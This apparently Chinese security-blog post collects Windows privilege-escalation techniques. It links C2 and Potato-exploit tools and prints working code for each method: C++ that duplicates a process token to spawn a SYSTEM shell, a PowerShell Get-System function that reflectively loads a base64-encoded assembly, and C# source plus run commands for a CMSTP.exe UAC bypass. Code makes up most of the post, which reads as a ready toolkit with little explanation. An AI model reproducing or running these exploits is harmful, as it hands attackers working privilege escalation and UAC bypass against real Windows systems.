1.trevorc2
https://github.com/trustedsec/trevorc2
2.Get system篇
1.Windows API和模拟(get-system)
https://0x00-0x00.github.io/research/2018/10/17/Windows-API-and-Impersonation-Part1.html
#include <windows.h> #include <stdio.h> using namespace std; HANDLE GetAccessToken(DWORD pid) { /* Retrieves an access token for a process */ HANDLE currentProcess = {}; HANDLE AccessToken = {}; DWORD LastError; if (pid == 0) { currentProcess = GetCurrentProcess(); } else { currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid); if (!currentProcess) { LastError = GetLastError(); wprintf(L"ERROR: OpenProcess(): %d\n", LastError); return (HANDLE)NULL; } } if (!OpenProcessToken(currentProcess, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &AccessToken)) { LastError = GetLastError(); wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError); return (HANDLE)NULL; } return AccessToken; } int wmain(int argc, WCHAR **argv) { DWORD LastError; /* Argument Check */ if (argc < 2) { wprintf(L"Usage: %ls <PID>\n", argv[0]); return 1; } /* Process ID definition */ DWORD pid; pid = _wtoi(argv[1]); if ((pid == NULL) || (pid == 0)) return 1; wprintf(L"[+] Pid Chosen: %d\n", pid); // Retrieves the remote process token. HANDLE pToken = GetAccessToken( pid); //These are required to call DuplicateTokenEx. SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation; TOKEN_TYPE tokenType = TokenPrimary; HANDLE pNewToken = new HANDLE; if (!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken)) { DWORD LastError = GetLastError(); wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError); return 1; } wprintf(L"Process token has been duplicated.\n"); if (!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken)) { DWORD LastError = GetLastError(); wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError); return 1; } wprintf(L"Process token has been duplicated.\n"); /* Starts a new process with SYSTEM token */ STARTUPINFOW si = {}; PROCESS_INFORMATION pi = {}; BOOL ret; ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (!ret) { DWORD lastError; lastError = GetLastError(); wprintf(L"CreateProcessWithTokenW: %d\n", lastError); return 1; } }
以上是更改后的代码。
2.Windows API和模拟(powershell)
function Get-System { if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { Write-Output "This powershell shell is not in STA mode!"; return ; } if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGTDJOgAAAAAAAAAAOAAIiALATAAABYAAAAGAAAAAAAAtjQAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGE0AABPAAAAAEAAANgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAACoMwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAvBQAAAAgAAAAFgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAANgDAAAAQAAAAAQAAAAYAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAHAAAAAAAAAAAAAAAAAAAQAAAQgAA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id)) { Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?"; return; } Write-Output "We are: $([Environment]::Username)" }
3.利用ALPC Flaw与Server 2016和Windows 10中的Diagnostics Hub相结合
https://github.com/realoriginal/alpc-diaghub
4.Juicy Potato
https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
5. MAC OSX (get-root)
.bypass-UAC-Adduser
参考资料:
https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
/* UAC Bypass using CMSTP.exe microsoft binary Based on previous work from Oddvar Moe Research on CMSTP.exe And this PowerShell script of Tyler Applebaum https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 Code author: Andre Marques (@_zc00l) */ using System; using System.Text; using System.IO; using System.Diagnostics; using System.ComponentModel; using System.Windows; using System.Runtime.InteropServices; public class CMSTPBypass { // Our .INF file data! public static string InfData = @"[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall] CustomDestination=CustInstDestSectionAllUsers RunPreSetupCommands=RunPreSetupCommandsSection [RunPreSetupCommandsSection] ; Commands Here will be run Before Setup Begins to install REPLACE_COMMAND_LINE taskkill /IM cmstp.exe /F [CustInstDestSectionAllUsers] 49000,49001=AllUSer_LDIDSection, 7 [AllUSer_LDIDSection] ""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """" [Strings] ServiceName=""CorpVPN"" ShortSvcName=""CorpVPN"" "; [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd); public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe"; /* Generates a random named .inf file with command to be executed with UAC privileges */ public static string SetInfFile(string CommandToExecute) { string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0]; string TemporaryDir = "C:\\windows\\temp"; StringBuilder OutputFile = new StringBuilder(); OutputFile.Append(TemporaryDir); OutputFile.Append("\\"); OutputFile.Append(RandomFileName); OutputFile.Append(".inf"); StringBuilder newInfData = new StringBuilder(InfData); newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute); File.WriteAllText(OutputFile.ToString(), newInfData.ToString()); return OutputFile.ToString(); } public static bool Execute(string CommandToExecute) { if(!File.Exists(BinaryPath)) { Console.WriteLine("Could not find cmstp.exe binary!"); return false; } StringBuilder InfFile = new StringBuilder(); InfFile.Append(SetInfFile(CommandToExecute)); Console.WriteLine("Payload file written to " + InfFile.ToString()); ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath); startInfo.Arguments = "/au " + InfFile.ToString(); startInfo.UseShellExecute = false; Process.Start(startInfo); IntPtr windowHandle = new IntPtr(); windowHandle = IntPtr.Zero; do { windowHandle = SetWindowActive("cmstp"); } while (windowHandle == IntPtr.Zero); System.Windows.Forms.SendKeys.SendWait("{ENTER}"); return true; } public static IntPtr SetWindowActive(string ProcessName) { Process[] target = Process.GetProcessesByName(ProcessName); if(target.Length == 0) return IntPtr.Zero; target[0].Refresh(); IntPtr WindowHandle = new IntPtr(); WindowHandle = target[0].MainWindowHandle; if(WindowHandle == IntPtr.Zero) return IntPtr.Zero; SetForegroundWindow(WindowHandle); ShowWindow(WindowHandle, 5); return WindowHandle; } }
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll")) [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")
转载请注明:即刻安全 » 【11.18】骚姿势记录及测试视频